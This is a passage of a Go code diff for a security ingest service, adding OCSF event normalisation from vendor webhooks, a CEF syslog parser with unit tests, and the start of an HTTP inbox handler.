+ ocsf := make(map[string]any, 16+len(t.FieldMap))
+
+ ocsf["class_uid"] = t.ClassUID
+ ocsf["class_name"] = t.ClassName
+ if t.ClassUID > 0 {
+ ocsf["category_uid"] = t.ClassUID / 1000
+ }
+ if t.ActivityID != 0 {
+ ocsf["activity_id"] = t.ActivityID
+ } else {
+ ocsf["activity_id"] = 1
+ }
+
+ // Time. Prefer the configured field; fall back to RFC3339 receipt time.
+ timeField := t.TimeField
+ if timeField == "" {
+ timeField = "time"
+ }
+ if v := getNestedString(payload, timeField); v != "" {
+ ocsf["time"] = normaliseTime(v, receivedAt)
+ } else {
+ ocsf["time"] = receivedAt
+ }
+ ocsf["ingest_time"] = time.Now().UTC().Format(time.RFC3339Nano)
+
+ // Seed metadata up front so subsequent FieldMap / Constants writes
+ // targeting metadata.* paths (e.g. metadata.product.feature.name in
+ // pagerduty.yaml) merge into it rather than getting clobbered by a
+ // later overwrite. setNested grafts into the existing map.
+ ocsf["metadata"] = map[string]any{
+ "version": "1.1.0",
+ "tenant_uid": tenantID,
+ "ingested_time": time.Now().UTC().Format(time.RFC3339),
+ "product": map[string]any{
+ "name": t.ProductName,
+ "vendor_name": t.VendorName,
+ },
+ }
+
+ // Field map — copy vendor paths onto OCSF paths.
+ for src, dst := range t.FieldMap {
+ if v := getNested(payload, src); v != nil {
+ setNested(ocsf, dst, v)
+ }
+ }
+
+ // Severity. Pull the vendor severity string (path configurable) and
+ // translate via SeverityMap. Unknown severities surface as
+ // severity_id=0 ("Unknown") rather than dropping the event — we'd
+ // rather over-deliver than silently lose alerts.
+ sevField := t.SeverityField
+ if sevField == "" {
+ sevField = "severity"
+ }
+ if raw := getNestedString(payload, sevField); raw != "" {
+ key := strings.ToLower(strings.TrimSpace(raw))
+ if id, ok := t.SeverityMap[key]; ok {
+ ocsf["severity_id"] = id
+ ocsf["severity"] = canonicalSeverity(id)
+ } else {
+ ocsf["severity_id"] = 0
+ ocsf["severity"] = raw
+ }
+ } else if _, present := ocsf["severity_id"]; !present {
+ ocsf["severity_id"] = 0
+ ocsf["severity"] = "Unknown"
+ }
+
+ // Message — pull the configured "what happened" line into the OCSF
+ // message field if not already set by the field map.
+ msgField := t.MessageField
+ if msgField == "" {
+ msgField = "message"
+ }
+ if _, set := ocsf["message"]; !set {
+ if m := getNestedString(payload, msgField); m != "" {
+ ocsf["message"] = m
+ }
+ }
+
+ // Constants — stamped last so they win over any field-map collision.
+ for k, v := range t.Constants {
+ setNested(ocsf, k, v)
+ }
+
+ ocsf["tenant_uid"] = tenantID
+ ocsf["source_connector_id"] = connectorRef
+
+ return ocsf
+}
+
+// canonicalSeverity returns the OCSF-recommended severity name for a
+// numeric severity_id. Used so the published event always has matching
+// severity_id + severity strings even when the vendor severity word
+// doesn't.
+func canonicalSeverity(id int) string {
+ switch id {
+ case 1:
+ return "Informational"
+ case 2:
+ return "Low"
+ case 3:
+ return "Medium"
+ case 4:
+ return "High"
+ case 5:
+ return "Critical"
+ case 6:
+ return "Fatal"
+ default:
+ return "Unknown"
+ }
+}
+
+// getNested walks dot-notation paths and returns the leaf, or nil if
+// any segment is missing. Arrays are not supported in the source path
+// (vendor templates that need to address arrays are rare; if the user
+// hits one they can use a real connector).
+func getNested(m map[string]any, path string) any {
+ if path == "" {
+ return nil
+ }
+ parts := strings.Split(path, ".")
+ var cur any = m
+ for _, p := range parts {
+ mm, ok := cur.(map[string]any)
+ if !ok {
+ return nil
+ }
+ cur = mm[p]
+ }
+ return cur
+}
+
+func getNestedString(m map[string]any, path string) string {
+ v := getNested(m, path)
+ if v == nil {
+ return ""
+ }
+ if s, ok := v.(string); ok {
+ return s
+ }
+ return ""
+}
+
+// setNested sets a leaf at dot-path, creating intermediate maps as
+// needed. We don't try to merge with existing maps — last write wins —
+// because the field-map use case is "stamp this value here", not
+// "graft onto an existing tree".
+func setNested(m map[string]any, path string, val any) {
+ parts := strings.Split(path, ".")
+ cur := m
+ for i, p := range parts {
+ if i == len(parts)-1 {
+ cur[p] = val
+ return
+ }
+ next, ok := cur[p].(map[string]any)
+ if !ok {
+ next = make(map[string]any)
+ cur[p] = next
+ }
+ cur = next
+ }
+}
+
+// normaliseTime parses a vendor timestamp into RFC3339Nano. We accept a
+// generous list of formats because vendor APIs historically pick
+// whichever ISO-ish flavour the original engineer was vaguely familiar
+// with. Falls back to receivedAt if nothing parses.
+func normaliseTime(s, fallback string) string {
+ formats := []string{
+ time.RFC3339Nano,
+ time.RFC3339,
+ "2006-01-02T15:04:05.000Z",
+ "2006-01-02T15:04:05Z",
+ "2006-01-02 15:04:05",
+ "2006-01-02T15:04:05.000-0700",
+ "01/02/2006 15:04:05",
+ }
+ for _, f := range formats {
+ if t, err := time.Parse(f, s); err == nil {
+ return t.UTC().Format(time.RFC3339Nano)
+ }
+ }
+ return fallback
+}
diff --git a/services/ingest/internal/inbox/apply_test.go b/services/ingest/internal/inbox/apply_test.go
new file mode 100644
index 000000000..ffa65ea4a
--- /dev/null
+++ b/services/ingest/internal/inbox/apply_test.go
@@ -0,0 +1,365 @@
+package inbox
+
+import (
+ "strings"
+ "testing"
+ "time"
+)
+
+// Apply is the workhorse of the universal-capture path: every webhook
+// hits it. These tests cover the rules the documentation promises:
+//
+// * Field map projects vendor JSON onto OCSF dot-paths, including
+// nested ones, without losing other fields.
+// * Severity translation is case-insensitive and unknown vendor
+// severities surface as severity_id=0 rather than dropping the event.
+// * The receivedAt fallback fires when the configured time field is
+// missing or unparseable — we never lose an event because of a
+// timestamp typo.
+// * Constants always win — they're the operator's "force this value
+// onto every event" knob.
+// * Metadata carries tenant_uid + vendor/product so downstream
+// correlation can identify the event source without reparsing.
+
+func newTestTemplate() *Template {
+ return &Template{
+ ID: "pagerduty",
+ VendorName: "PagerDuty",
+ ProductName: "Events API v2",
+ ClassUID: 2001,
+ ClassName: "Security Finding",
+ ActivityID: 1,
+ FieldMap: map[string]string{
+ "event.id": "metadata.event_id",
+ "event.title": "finding.title",
+ "event.urgency": "severity_label_raw",
+ "event.service.summary": "finding.product_name_raw",
+ "event.html_url": "finding.url",
+ },
+ SeverityField: "event.urgency",
+ SeverityMap: map[string]int{
+ "low": 2,
+ "medium": 3,
+ "high": 4,
+ "critical": 5,
+ },
+ TimeField: "event.occurred_at",
+ MessageField: "event.title",
+ Constants: map[string]any{
+ "source": "pagerduty.events.v2",
+ },
+ }
+}
+
+func TestApply_BasicMapping(t *testing.T) {
+ tmpl := newTestTemplate()
+ payload := map[string]any{
+ "event": map[string]any{
+ "id": "INC-12345",
+ "title": "prod-db-1: high CPU",
+ "urgency": "high",
+ "occurred_at": "2026-05-08T12:30:00Z",
+ "service": map[string]any{"summary": "production-db"},
+ "html_url": "https://acme.pagerduty.com/incidents/INC-12345",
+ },
+ }
+
+ receivedAt := "2026-05-08T12:30:01Z"
+ out := tmpl.Apply(payload, "11111111-1111-1111-1111-111111111111", "inbox:abc", receivedAt)
+
+ // Class metadata.
+ if got := out["class_uid"]; got != 2001 {
+ t.Fatalf("class_uid = %v, want 2001", got)
+ }
+ if got := out["class_name"]; got != "Security Finding" {
+ t.Fatalf("class_name = %v, want %q", got, "Security Finding")
+ }
+ if got := out["category_uid"]; got != 2 {
+ t.Fatalf("category_uid = %v, want 2 (=class_uid/1000)", got)
+ }
+ if got := out["activity_id"]; got != 1 {
+ t.Fatalf("activity_id = %v, want 1", got)
+ }
+
+ // Field map landed nested values.
+ meta, ok := out["metadata"].(map[string]any)
+ if !ok {
+ t.Fatalf("metadata is not a map: %T", out["metadata"])
+ }
+ if meta["event_id"] != "INC-12345" {
+ t.Errorf("metadata.event_id = %v, want INC-12345", meta["event_id"])
+ }
+ finding, ok := out["finding"].(map[string]any)
+ if !ok {
+ t.Fatalf("finding is not a map: %T", out["finding"])
+ }
+ if finding["title"] != "prod-db-1: high CPU" {
+ t.Errorf("finding.title = %v", finding["title"])
+ }
+ if finding["product_name_raw"] != "production-db" {
+ t.Errorf("finding.product_name_raw = %v", finding["product_name_raw"])
+ }
+ if finding["url"] != "https://acme.pagerduty.com/incidents/INC-12345" {
+ t.Errorf("finding.url = %v", finding["url"])
+ }
+
+ // Severity translation.
+ if out["severity_id"] != 4 {
+ t.Errorf("severity_id = %v, want 4 (high)", out["severity_id"])
+ }
+ if out["severity"] != "High" {
+ t.Errorf("severity = %v, want High", out["severity"])
+ }
+
+ // Time normalised to RFC3339Nano.
+ tStr, _ := out["time"].(string)
+ if tStr == "" {
+ t.Fatalf("time missing")
+ }
+ if _, err := time.Parse(time.RFC3339Nano, tStr); err != nil {
+ t.Errorf("time = %q, want RFC3339Nano: %v", tStr, err)
+ }
+
+ // Constants stamped.
+ if out["source"] != "pagerduty.events.v2" {
+ t.Errorf("source = %v, want pagerduty.events.v2", out["source"])
+ }
+
+ // Tenant uid carried both at top level and in metadata.
+ if out["tenant_uid"] != "11111111-1111-1111-1111-111111111111" {
+ t.Errorf("tenant_uid = %v", out["tenant_uid"])
+ }
+ if meta["tenant_uid"] != "11111111-1111-1111-1111-111111111111" {
+ t.Errorf("metadata.tenant_uid = %v", meta["tenant_uid"])
+ }
+
+ // Source connector ref propagated for queryability.
+ if out["source_connector_id"] != "inbox:abc" {
+ t.Errorf("source_connector_id = %v", out["source_connector_id"])
+ }
+
+ // Message defaulted to the configured field.
+ if out["message"] != "prod-db-1: high CPU" {
+ t.Errorf("message = %v", out["message"])
+ }
+}
+
+func TestApply_UnknownSeverityFallsThroughAsZero(t *testing.T) {
+ // Vendor sends a severity word we don't have in SeverityMap. We must
+ // surface severity_id=0 ("Unknown") and keep the raw string in
+ // severity rather than drop the event — over-deliver, never lose.
+ tmpl := newTestTemplate()
+ payload := map[string]any{
+ "event": map[string]any{
+ "urgency": "moderate", // not in map
+ },
+ }
+ out := tmpl.Apply(payload, "tenant", "ref", "2026-05-08T12:30:00Z")
+
+ if out["severity_id"] != 0 {
+ t.Errorf("unknown severity should map to 0, got %v", out["severity_id"])
+ }
+ if out["severity"] != "moderate" {
+ t.Errorf("severity should preserve raw, got %v", out["severity"])
+ }
+}
+
+func TestApply_SeverityCaseInsensitive(t *testing.T) {
+ tmpl := newTestTemplate()
+ payload := map[string]any{
+ "event": map[string]any{"urgency": " HIGH "}, // mixed case + whitespace
+ }
+ out := tmpl.Apply(payload, "tenant", "ref", "2026-05-08T12:30:00Z")
+ if out["severity_id"] != 4 {
+ t.Errorf("severity_id = %v, want 4 (high case-insensitive)", out["severity_id"])
+ }
+}
+
+func TestApply_MissingSeverityYieldsUnknown(t *testing.T) {
+ tmpl := newTestTemplate()
+ payload := map[string]any{
+ "event": map[string]any{}, // no urgency at all
+ }
+ out := tmpl.Apply(payload, "tenant", "ref", "2026-05-08T12:30:00Z")
+ if out["severity_id"] != 0 {
+ t.Errorf("missing severity should map to 0, got %v", out["severity_id"])
+ }
+ if out["severity"] != "Unknown" {
+ t.Errorf("missing severity should be 'Unknown', got %v", out["severity"])
+ }
+}
+
+func TestApply_TimeFallsBackToReceivedAt(t *testing.T) {
+ tmpl := newTestTemplate()
+ payload := map[string]any{
+ "event": map[string]any{
+ "occurred_at": "not-a-real-timestamp",
+ },
+ }
+ receivedAt := "2026-05-08T12:30:01Z"
+ out := tmpl.Apply(payload, "tenant", "ref", receivedAt)
+ if out["time"] != receivedAt {
+ t.Errorf("time = %v, want fallback %v", out["time"], receivedAt)
+ }
+}
+
+func TestApply_TimeDefaultsToReceivedAtWhenMissing(t *testing.T) {
+ tmpl := newTestTemplate()
+ out := tmpl.Apply(map[string]any{}, "tenant", "ref", "2026-05-08T12:30:01Z")
+ if out["time"] != "2026-05-08T12:30:01Z" {
+ t.Errorf("time = %v, want fallback receivedAt", out["time"])
+ }
+}
+
+func TestApply_ConstantsWinOverFieldMap(t *testing.T) {
+ // If a field-map and a constant target the same path, the constant
+ // must win — that's the operator's "force this value" guarantee.
+ tmpl := &Template{
+ ID: "test",
+ ClassUID: 2001,
+ ClassName: "Security Finding",
+ FieldMap: map[string]string{
+ "vendor_label": "source",
+ },
+ Constants: map[string]any{
+ "source": "constant-wins",
+ },
+ }
+ payload := map[string]any{
+ "vendor_label": "field-map-loses",
+ }
+ out := tmpl.Apply(payload, "tenant", "ref", "2026-05-08T12:30:00Z")
+ if out["source"] != "constant-wins" {
+ t.Errorf("constant should override field map, got %v", out["source"])
+ }
+}
+
+func TestApply_DefaultsToActivityID1(t *testing.T) {
+ // ActivityID==0 in the template means "use the OCSF default of 1
+ // (Create)" rather than "stamp 0 onto every event".
+ tmpl := &Template{
+ ID: "test",
+ ClassUID: 4001,
+ ClassName: "Network Activity",
+ }
+ out := tmpl.Apply(map[string]any{}, "tenant", "ref", "2026-05-08T12:30:00Z")
+ if out["activity_id"] != 1 {
+ t.Errorf("activity_id = %v, want 1 (default)", out["activity_id"])
+ }
+}
+
+func TestApply_MetadataAlwaysCarriesProductIdentity(t *testing.T) {
+ tmpl := newTestTemplate()
+ out := tmpl.Apply(map[string]any{}, "tenant", "ref", "2026-05-08T12:30:00Z")
+ meta := out["metadata"].(map[string]any)
+ prod, ok := meta["product"].(map[string]any)
+ if !ok {
+ t.Fatalf("metadata.product not a map: %T", meta["product"])
+ }
+ if prod["vendor_name"] != "PagerDuty" {
+ t.Errorf("vendor_name = %v", prod["vendor_name"])
+ }
+ if prod["name"] != "Events API v2" {
+ t.Errorf("product.name = %v", prod["name"])
+ }
+ if meta["version"] != "1.1.0" {
+ t.Errorf("metadata.version = %v, want 1.1.0", meta["version"])
+ }
+}
+
+// ---------------------------------------------------------------------------
+// Helper coverage. These are tiny but they're load-bearing for the field map
+// language so we exercise them directly.
+// ---------------------------------------------------------------------------
+
+func TestGetNested_ReturnsLeafThroughNestedMaps(t *testing.T) {
+ m := map[string]any{
+ "a": map[string]any{"b": map[string]any{"c": "deep"}},
+ }
+ if v := getNested(m, "a.b.c"); v != "deep" {
+ t.Errorf("getNested deep path = %v, want 'deep'", v)
+ }
+}
+
+func TestGetNested_ReturnsNilForMissing(t *testing.T) {
+ m := map[string]any{"a": map[string]any{}}
+ if v := getNested(m, "a.b.c"); v != nil {
+ t.Errorf("missing path should be nil, got %v", v)
+ }
+}
+
+func TestGetNested_ReturnsNilWhenSegmentNotMap(t *testing.T) {
+ // Walking through a non-map segment (e.g. a string) should fail safe.
+ m := map[string]any{"a": "string-not-map"}
+ if v := getNested(m, "a.b"); v != nil {
+ t.Errorf("non-map segment should bail out, got %v", v)
+ }
+}
+
+func TestSetNested_CreatesIntermediateMaps(t *testing.T) {
+ m := map[string]any{}
+ setNested(m, "a.b.c", "leaf")
+ a, _ := m["a"].(map[string]any)
+ b, _ := a["b"].(map[string]any)
+ if b["c"] != "leaf" {
+ t.Errorf("setNested didn't create intermediate maps: %#v", m)
+ }
+}
+
+func TestSetNested_OverwritesPrimitiveOnConflict(t *testing.T) {
+ // If an existing leaf is in the way of a deeper write we replace it
+ // rather than panic — last-write-wins is the documented contract.
+ m := map[string]any{"a": "old"}
+ setNested(m, "a.b", "new")
+ a, _ := m["a"].(map[string]any)
+ if a == nil {
+ t.Fatalf("expected map at 'a', got %T", m["a"])
+ }
+ if a["b"] != "new" {
+ t.Errorf("setNested didn't write through, got %#v", m)
+ }
+}
+
+func TestNormaliseTime_AcceptsCommonFormats(t *testing.T) {
+ cases := []struct {
+ in string
+ want bool
+ }{
+ {"2026-05-08T12:30:00Z", true},
+ {"2026-05-08T12:30:00.123Z", true},
+ {"2026-05-08 12:30:00", true},
+ {"05/08/2026 12:30:00", true},
+ {"definitely-not-a-time", false},
+ }
+ const fallback = "FALLBACK"
+ for _, c := range cases {
+ got := normaliseTime(c.in, fallback)
+ gotIsFallback := got == fallback
+ if c.want == gotIsFallback {
+ // want=true means "should parse, not fallback"
+ t.Errorf("normaliseTime(%q) = %q, want parsable=%v", c.in, got, c.want)
+ }
+ if c.want && !strings.Contains(got, "2026-05-08") {
+ t.Errorf("normaliseTime(%q) lost the date: got %q", c.in, got)
+ }
+ }
+}
+
+func TestCanonicalSeverity_CoversAllOCSFLevels(t *testing.T) {
+ want := map[int]string{
+ 1: "Informational",
+ 2: "Low",
+ 3: "Medium",
+ 4: "High",
+ 5: "Critical",
+ 6: "Fatal",
+ 0: "Unknown",
+ // Anything outside the table also returns Unknown — defensive.
+ 99: "Unknown",
+ }
+ for id, w := range want {
+ if got := canonicalSeverity(id); got != w {
+ t.Errorf("canonicalSeverity(%d) = %q, want %q", id, got, w)
+ }
+ }
+}
diff --git a/services/ingest/internal/inbox/cef.go b/services/ingest/internal/inbox/cef.go
new file mode 100644
index 000000000..d37636830
--- /dev/null
+++ b/services/ingest/internal/inbox/cef.go
@@ -0,0 +1,258 @@
+package inbox
+
+import (
+ "bufio"
+ "errors"
+ "strings"
+)
+
+// ErrCEFMalformed is returned when a CEF line doesn't have the required
+// 7 pipe-delimited prefix fields. The handler turns this into a 400 with
+// a small hint so syslog operators can spot the problem.
+var ErrCEFMalformed = errors.New("malformed CEF line")
+
+// ParseCEF parses a single CEF line of the form:
+//
+// CEF:Version|DeviceVendor|DeviceProduct|DeviceVersion|SignatureID|Name|Severity|Extension
+//
+// The Extension is a flat sequence of key=value pairs (whitespace-separated)
+// where values may contain escaped characters (\=, \\, \n). Output is a
+// flat map suitable for handing to the cef-syslog template's Apply().
+//
+// We deliberately don't try to interpret semantic meaning here — that's
+// the template's job. ParseCEF only handles the wire format.
+//
+// Reference: https://docs.fortinet.com/document/fortianalyzer/7.4.0/cef-reference
+func ParseCEF(line string) (map[string]any, error) {
+ line = strings.TrimSpace(line)
+ if line == "" {
+ return nil, ErrCEFMalformed
+ }
+
+ // CEF prefix may be preceded by syslog header (date, host, tag).
+ // Find "CEF:" anchor and trim to it.
+ if idx := strings.Index(line, "CEF:"); idx > 0 {
+ line = line[idx:]
+ }
+ if !strings.HasPrefix(line, "CEF:") {
+ return nil, ErrCEFMalformed
+ }
+
+ // Split on unescaped pipes.
+ parts := splitUnescaped(line, '|')
+ if len(parts) < 8 {
+ return nil, ErrCEFMalformed
+ }
+
+ // CEF allows a literal pipe inside any prefix field as "\|".
+ // splitUnescaped keeps that backslash in the segment text — strip it
+ // here so templates see the human-readable value.
+ unescapePipe := func(s string) string {
+ if !strings.Contains(s, `\|`) {
+ return s
+ }
+ return strings.ReplaceAll(s, `\|`, "|")
+ }
+
+ out := make(map[string]any, 16)
+ out["Version"] = strings.TrimPrefix(parts[0], "CEF:")
+ out["DeviceVendor"] = unescapePipe(parts[1])
+ out["DeviceProduct"] = unescapePipe(parts[2])
+ out["DeviceVersion"] = unescapePipe(parts[3])
+ out["SignatureID"] = unescapePipe(parts[4])
+ out["Name"] = unescapePipe(parts[5])
+ out["Severity"] = unescapePipe(parts[6])
+
+ // Everything after the 7th pipe is the extension. Re-join in case
+ // the extension itself contains pipes (escaped or otherwise).
+ ext := strings.Join(parts[7:], "|")
+ parseCEFExtension(ext, out)
+
+ return out, nil
+}
+
+// ParseCEFBatch parses one CEF line per record from a multi-line body.
+// Empty lines are skipped; malformed lines are returned alongside the
+// successful results so the caller can include them in the response and
+// the operator can fix the upstream agent.
+func ParseCEFBatch(body string) ([]map[string]any, []string) {
+ var (
+ records []map[string]any
+ errs []string
+ )
+ sc := bufio.NewScanner(strings.NewReader(body))
+ // CEF lines can be long when extensions carry full URLs or messages.
+ sc.Buffer(make([]byte, 0, 64*1024), 1024*1024)
+ for sc.Scan() {
+ line := strings.TrimSpace(sc.Text())
+ if line == "" {
+ continue
+ }
+ rec, err := ParseCEF(line)
+ if err != nil {
+ errs = append(errs, line)
+ continue
+ }
+ records = append(records, rec)
+ }
+ return records, errs
+}
+
+// splitUnescaped splits s on sep, treating "\" + sep as an escaped
+// literal sep. Necessary because CEF allows escaped pipes inside the
+// Name field (rarely, but it's in the spec).
+func splitUnescaped(s string, sep byte) []string {
+ var (
+ out []string
+ cur strings.Builder
+ prev byte
+ )
+ for i := 0; i < len(s); i++ {
+ c := s[i]
+ if c == sep && prev != '\\' {
+ out = append(out, cur.String())
+ cur.Reset()
+ prev = c
+ continue
+ }
+ cur.WriteByte(c)
+ prev = c
+ }
+ out = append(out, cur.String())
+ return out
+}
+
+// parseCEFExtension walks a CEF extension string ("key=value key2=value2 ...")
+// and populates m. Values may contain escaped equals signs ("\=") and
+// escaped newlines ("\n" → literal '\n').
+//
+// CEF extension grammar is "loose" — values run until the next space-key=
+// pattern. We use a small state machine rather than a strings.Split because
+// values often contain spaces (URLs, messages) and naive splitting drops
+// them.
+func parseCEFExtension(ext string, m map[string]any) {
+ if ext == "" {
+ return
+ }
+ // Find all key= positions. A key= is a sequence [a-zA-Z0-9._-]+
+ // followed by '=' that is not preceded by '\'.
+ type span struct {
+ keyStart, keyEnd, valStart int
+ }
+ var spans []span
+
+ i := 0
+ for i < len(ext) {
+ // Skip leading whitespace.
+ for i < len(ext) && (ext[i] == ' ' || ext[i] == '\t') {
+ i++
+ }
+ // Read key.
+ ks := i
+ for i < len(ext) && (isCEFKeyChar(ext[i])) {
+ i++
+ }
+ ke := i
+ if ke == ks || i >= len(ext) || ext[i] != '=' {
+ // Not a key=val start. Advance until next space.
+ for i < len(ext) && ext[i] != ' ' {
+ i++
+ }
+ continue
+ }
+ // Skip the '='.
+ valStart := i + 1
+ spans = append(spans, span{ks, ke, valStart})
+ // Move on; we'll bound the value when we find the next key.
+ i = valStart
+ // Skip until next " key=" boundary (space + identifier + =) so
+ // that values containing spaces stay intact.
+ for i < len(ext) {
+ if ext[i] == ' ' && isCEFKeyStart(ext, i+1) {
+ break
+ }
+ // Honour backslash escapes so "\=" inside values isn't read
+ // as a key boundary.
+ if ext[i] == '\\' && i+1 < len(ext) {
+ i += 2
+ continue
+ }
+ i++
+ }
+ }
+
+ for idx, s := range spans {
+ var endPos int
+ if idx+1 < len(spans) {
+ // Value runs up to the space before the next key=.
+ endPos = spans[idx+1].keyStart
+ // Trim the trailing space we matched on.
+ for endPos > s.valStart && ext[endPos-1] == ' ' {
+ endPos--
+ }
+ } else {
+ endPos = len(ext)
+ }
+ key := ext[s.keyStart:s.keyEnd]
+ val := unescapeCEF(ext[s.valStart:endPos])
+ m[key] = val
+ }
+}
+
+func isCEFKeyChar(c byte) bool {
+ return (c >= 'a' && c <= 'z') ||
+ (c >= 'A' && c <= 'Z') ||
+ (c >= '0' && c <= '9') ||
+ c == '.' || c == '_' || c == '-'
+}
+
+// isCEFKeyStart returns true if ext[i:] starts with [A-Za-z][A-Za-z0-9._-]*=.
+// Used to decide where a value ends.
+func isCEFKeyStart(ext string, i int) bool {
+ if i >= len(ext) {
+ return false
+ }
+ c := ext[i]
+ if !((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z')) {
+ return false
+ }
+ j := i + 1
+ for j < len(ext) && isCEFKeyChar(ext[j]) {
+ j++
+ }
+ return j < len(ext) && ext[j] == '='
+}
+
+// unescapeCEF decodes the \=, \\, \n escape sequences from a CEF
+// extension value. Other escapes pass through unchanged so we don't
+// surprise downstream consumers.
+func unescapeCEF(s string) string {
+ if !strings.Contains(s, "\\") {
+ return s
+ }
+ var b strings.Builder
+ b.Grow(len(s))
+ for i := 0; i < len(s); i++ {
+ if s[i] != '\\' || i+1 >= len(s) {
+ b.WriteByte(s[i])
+ continue
+ }
+ switch s[i+1] {
+ case '=', '\\', '|':
+ b.WriteByte(s[i+1])
+ i++
+ case 'n':
+ b.WriteByte('\n')
+ i++
+ case 'r':
+ b.WriteByte('\r')
+ i++
+ case 't':
+ b.WriteByte('\t')
+ i++
+ default:
+ b.WriteByte(s[i])
+ }
+ }
+ return b.String()
+}
diff --git a/services/ingest/internal/inbox/cef_test.go b/services/ingest/internal/inbox/cef_test.go
new file mode 100644
index 000000000..02e1b484c
--- /dev/null
+++ b/services/ingest/internal/inbox/cef_test.go
@@ -0,0 +1,104 @@
+package inbox
+
+import (
+ "testing"
+)
+
+// TestParseCEF_Standard checks the common CEF wire format produced by
+// security appliances. The example is taken from the public ArcSight
+// reference and exercises both the prefix and the key=value extension.
+func TestParseCEF_Standard(t *testing.T) {
+ line := `CEF:0|Security|threatmanager|1.0|100|worm successfully stopped|10|src=10.0.0.1 dst=2.1.2.2 spt=1232`
+ got, err := ParseCEF(line)
+ if err != nil {
+ t.Fatalf("ParseCEF unexpected error: %v", err)
+ }
+ checks := map[string]string{
+ "Version": "0",
+ "DeviceVendor": "Security",
+ "DeviceProduct": "threatmanager",
+ "DeviceVersion": "1.0",
+ "SignatureID": "100",
+ "Name": "worm successfully stopped",
+ "Severity": "10",
+ "src": "10.0.0.1",
+ "dst": "2.1.2.2",
+ "spt": "1232",
+ }
+ for k, want := range checks {
+ if v, ok := got[k]; !ok || v != want {
+ t.Errorf("ParseCEF[%q] = %v, want %q", k, v, want)
+ }
+ }
+}
+
+// TestParseCEF_Escapes verifies the documented escape rules in the
+// extension: \\, \=, and \n. We need this to round-trip vendor
+// payloads that include URLs, equals signs in messages, etc.
+func TestParseCEF_Escapes(t *testing.T) {
+ line := `CEF:0|Vendor|Prod|1.0|sig|name|3|msg=foo\=bar path=C:\\Users\\a act=allow`
+ got, err := ParseCEF(line)
+ if err != nil {
+ t.Fatalf("ParseCEF unexpected error: %v", err)
+ }
+ if got["msg"] != "foo=bar" {
+ t.Errorf("escape \\= not unescaped: msg=%q", got["msg"])
+ }
+ if got["path"] != `C:\Users\a` {
+ t.Errorf("escape \\\\ not unescaped: path=%q", got["path"])
+ }
+ if got["act"] != "allow" {
+ t.Errorf("trailing key not parsed: act=%q", got["act"])
+ }
+}
+
+// TestParseCEF_PipeInName covers the case where the human-readable
+// Name field contains a pipe escaped as \|. Without unescape the prefix
+// would be miscounted.
+func TestParseCEF_PipeInName(t *testing.T) {
+ line := `CEF:0|Vendor|Prod|1.0|sig|alert\|critical|7|src=1.2.3.4`
+ got, err := ParseCEF(line)
+ if err != nil {
+ t.Fatalf("ParseCEF unexpected error: %v", err)
+ }
+ if got["Name"] != "alert|critical" {
+ t.Errorf("pipe-in-Name not unescaped: %q", got["Name"])
+ }
+}
+
+// TestParseCEF_Malformed makes sure we reject obviously bad input
+// rather than silently producing junk that downstream RAG would index.
+func TestParseCEF_Malformed(t *testing.T) {
+ cases := []string{
+ "",
+ "not cef at all",
+ "CEF:0|too|few|fields",
+ }
+ for _, line := range cases {
+ if _, err := ParseCEF(line); err == nil {
+ t.Errorf("ParseCEF(%q) should have errored", line)
+ }
+ }
+}
+
+// TestParseCEFBatch covers the multi-line case where a syslog forwarder
+// sends an HTTP body containing several CEF events separated by
+// newlines. Blank and malformed lines should be skipped (returned as
+// badLines for observability), not abort the whole batch — operators
+// expect the syslog relay to keep flowing even if one record is junk.
+func TestParseCEFBatch(t *testing.T) {
+ body := `CEF:0|V|P|1|S|n|3|src=1.1.1.1
+not a cef line
+CEF:0|V|P|1|S|n|5|src=2.2.2.2
+`
+ got, bad := ParseCEFBatch(body)
+ if len(got) != 2 {
+ t.Fatalf("expected 2 valid events, got %d (bad=%v)", len(got), bad)
+ }
+ if got[0]["src"] != "1.1.1.1" || got[1]["src"] != "2.2.2.2" {
+ t.Errorf("ParseCEFBatch wrong events: %+v", got)
+ }
+ if len(bad) != 1 || bad[0] != "not a cef line" {
+ t.Errorf("expected 1 malformed line captured, got %v", bad)
+ }
+}
diff --git a/services/ingest/internal/inbox/handler.go b/services/ingest/internal/inbox/handler.go
new file mode 100644
index 000000000..0649658a3
--- /dev/null
+++ b/services/ingest/internal/inbox/handler.go
@@ -0,0 +1,503 @@
+package inbox
+
+import (
+ "context"
+ "crypto/hmac"
+ "crypto/sha256"
+ "encoding/hex"
+ "encoding/json"
+ "errors"
+ "fmt"
+ "io"
+ "net/http"
+ "strings"
+ "time"
+
+ "github.com/beenuar/aisoc/services/ingest/internal/normalizer"
+ "github.com/beenuar/aisoc/services/ingest/internal/publisher"
+ "github.com/go-chi/chi/v5"
+ "github.com/google/uuid"
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+ "github.com/rs/zerolog/log"
+)
+
+// Handler serves the /v1/inbox/* push endpoints. It composes the token
+// resolver, template registry, and Kafka publisher into one HTTP-shaped
+// front door for any vendor that can post a webhook.
+//
+// The four routes share a common shape: resolve token → optionally
+// verify HMAC → parse body → run template → publish. Differences are
+// just in how we get to the "parse body" step (raw JSON, NDJSON, CEF
+// syslog text, email-relay JSON).
+type Handler struct {
+ store *Store
+ registry *Registry
+ pub *publisher.Publisher
+ maxBodySize int64
+}
+
+// NewHandler wires the inbox handler. maxBodySize caps a single request
+// body — any vendor that paginates correctly stays well under the
+// default 10MiB; only buggy vendors push the limit.
+func NewHandler(store *Store, registry *Registry, pub *publisher.Publisher, maxBodySize int64) *Handler {
+ return &Handler{
+ store: store,
+ registry: registry,
+ pub: pub,
+ maxBodySize: maxBodySize,
+ }
+}
+
+// Prometheus counters track the universal-capture path so freshness SLOs
+// (Workstream 5) can include push-mode connectors and operators can
+// alarm on token drift.
+var (
+ inboxRequests = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "aisoc_ingest_inbox_requests_total",
+ Help: "Universal-capture inbox requests by route and outcome.",
+ },
+ []string{"route", "template", "outcome"},
+ )
+ inboxEvents = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "aisoc_ingest_inbox_events_total",
+ Help: "Events accepted via the universal-capture inbox by template.",
+ },
+ []string{"template"},
+ )
+)
+
+// ServeJSON handles POST /v1/inbox/{tenant_token}.
+//
+// This is the workhorse route — vendors paste in a webhook URL of
+// the form https://ingest.tryaisoc.com/v1/inbox/<token>, and whatever
+// JSON they send gets translated by the template the operator picked
+// at mint time.
+//
+// Body parsing accepts either:
+// - a single JSON object
+// - a JSON array of events
